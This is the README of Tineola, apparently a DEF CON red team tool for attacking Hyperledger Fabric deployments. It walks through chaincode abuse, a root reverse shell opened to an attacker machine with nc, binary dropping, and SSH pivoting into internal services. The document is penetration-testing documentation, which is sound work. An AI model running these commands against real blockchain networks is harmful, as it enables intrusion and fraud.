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https://github.com/tineola/tineola

Blockchains. Destruction. Mayhem.
https://github.com/tineola/tineola

blockchain enterprise hyperledger-fabric security

Last synced: 2 months ago
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Blockchains. Destruction. Mayhem.

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README 

        
# Introducing Tineola



**Read the [Whitepaper](https://github.com/tineola/tineola/raw/master/docs/TineolaWhitepaper.pdf) and [DEF CON 26 Slides](/docs/Tineola-Slides-Defcon26.pdf).**



Watch the DEF CON talk on Youtube:



* https://www.youtube.com/watch?v=xKYIde5jh_8



[Comitting insurance fraud with Tineola](https://github.com/tineola/tineola/wiki/Committing-Insurance-Fraud-with-Tineola) is a hands-on tutorial to hack the insurance app. It's a step-by-step guide to recreating the presentation demos.



![Tineola Logo](docs/tineola_logo.png)



Tineola is a red team tool for interfacing with **Hyperledger Fabric** deployments, networks, and chaincodes.

Tineola is designed to work in as many configurations as possible, and require only the bare minimum configuration to get started.

Tineola also ships with *tineolacc*, special chaincode for performing evil peer attacks.



This tool was originally released on Aug 12, 2018 at DefCon 26 by [Stark Riedesel](https://github.com/starkriedesel), [Parsia Hakimian](https://parsiya.net), Koen Buyens, and Travis Biehn.



# Installing Tineola

Tineola requires NodeJS 8.x only. 10.x fails to validate GRPC/S certificates correctly when we override them in code and 12.x is not supported by the x509 parsing package we use.

1. git clone https://github.com/tineola/tineola

2. cd tineola; npm install

3. cd bin; ./tineola.js



Tineola will load a `.tineola-rc` file from the current directory (if it exists) upon loading and execute any commands found within.



# Getting Started

Tineola is an interactive command-line application with commands split into modules. The following is a list of common actions and the associated Tineola commands. A complete list of commands can be obtained by using the `help` command. Command syntax can be displayed with the `-help` flag.



#### Authenticating to a CA server for the first time (aka Enrollment)



```

tineola> ca-set https://ca.example.com:7050



tineola> user-set admin



tineola> ca-enroll adminpw ExampleOrgMSP

```



After these commands, the admin user has been enrolled into Tineola's keystore. Subsequent use of Tineola with the same CA server and user will not need re-enrollment. Simply using the `user-set admin` is sufficient for loading local user keys.



#### Connecting to a peer and listing existing channels



```

tineola> user-set admin



tineola> peer-set grpcs://peer1.example.com:7051



tineola> peer-list-channels

```



#### Connecting to a channel and show last 20 blocks



```

tineola> user-set admin



tineola> per-set grpcs://peer1.example.com:7051



tineola> channel-set testChan



tineola> channel-history --last 20

```



#### Query/Invoke existing chaincode



Querying refers to calling a chaincode function and receiving a response, but without ordering the transaction. The result is a "Read-only" chaincode call.



Invoking refers to calling a chaincode function and ordering the response which allows it to be read & write.



Both actions use the `channel-query-cc` Tineola command with or without the `--invoke` flag.



Invocation requires an orderer to be set.



Note: invoking requires the endorsement policy to be met, whereas querying does not.



```

tineola> user-set admin



tineola> peer-set grpcs://peer1.example.com:7051



tineola> channel-set testChan



tineola> channel-query-cc ccName ccFuncName



tineola> orderer-set grpcs://orderer1.example.com:7050



tineola> channel-query-cc --invoke ccName ccFuncName

```



#### Installing the Tineola chaincode



Most commands in the "tineola" module require the "tineolacc" chaincode to be installed to the peer.



Note that this action requires a **peer administrator** certificate to be accomplished and be acceptable to the channel endorsement policy.



```

tineola> user-set peerAdmin



tineola> channel-set testChan



tineola> tineola-install

```



#### Reverse shell from the Tineola chaincode



Start a tcp listener on the Tineola machine (`10.0.0.5` in this example)

```

nc -l 31337

```



Use Tineola to launch the chaincode

```

tineola> user-set admin



tineola> channel-set testChan



tineola> tineola-shell 10.0.0.5:31337

```



The tcp listener should be given a root shell within the chaincode container. This container is a bare Ubuntu image. Use `apt update` and `apt install ...` to download packages if the peer is internet connected. If the peer is not internet connected, the `tineola-http-drop` command can be used to drop useful binaries like nmap.



#### Creating a reverse proxy with the Tineola chaincode



It may be useful to pivot through the chaincode container to access hidden network services such as CouchDB containers or other peers.

The following assumes the Tineola machine is at `10.0.0.5`, has ssh installed and running.

The Tineola chaincode uses private key authentication to connect over ssh back to the Tineola machine.

An allowed ssh private key should be present at `~/tineola-ssh-key` for tineola to use.



Note: make sure to disallow this key after using Tineola.



Tineola makes no effort to encrypt or otherwise hide this key during or after use by the chaincode.

This key will likely be present on the chaincode container indefinitely.

Keys can be generated using `ssh-keygen` and installed to `~/.ssh/authorized` keys.

The username below "user" should be changed to match the username of the tineola machine.

The target should be in the form `IP:PORT` and is `10.10.0.100:1234` in the example below.



```

tineola> user-set admin



tineola> user-set channel-set testChan



tineola> peer-set grpcs://peer1.example.com:7051



tineola> tineola-ssh-proxy 10.10.0.100:1234 10.0.0.5 user ~/tineola-ssh-key

```



#### Using Tineola with Burp or another HTTP-base application proxy/scanner



It may be useful to connect Tineola to an application scanner or proxy for ease of use when testing chaincode.

Further, many Fabric deployments will use chain data in web applications upstream, making web application scanners great for detecting web vulnerability originating from chaincode.



```

tineola> user-set admin



tineola> peer-set grpcs://peer1.example.com:7051



tineola> channel-set testChans



tineola> orderer-set grpcs://orderer1.example:7050



tineola> tineola-http-proxy

```



Next, configure the HTTP scanner to use the port opened locally (default: `localhost:8888`).

The format of HTTP requests should be:



``` json

POST /ccName/funcName HTTP/1.1

HLF-Invoke: yes



["arguments","as", "json"]

```



The `HLF-Invoke` header controls whether or not to send the request for ordering.

If `HLF-Invoke` is set to "no" the query will be made read only but responses can still be collected from the chaincode.

The orderer is not needed to be configured if invoking is disabled.



## License

This software is released by Synopsys under the [MIT license](LICENSE).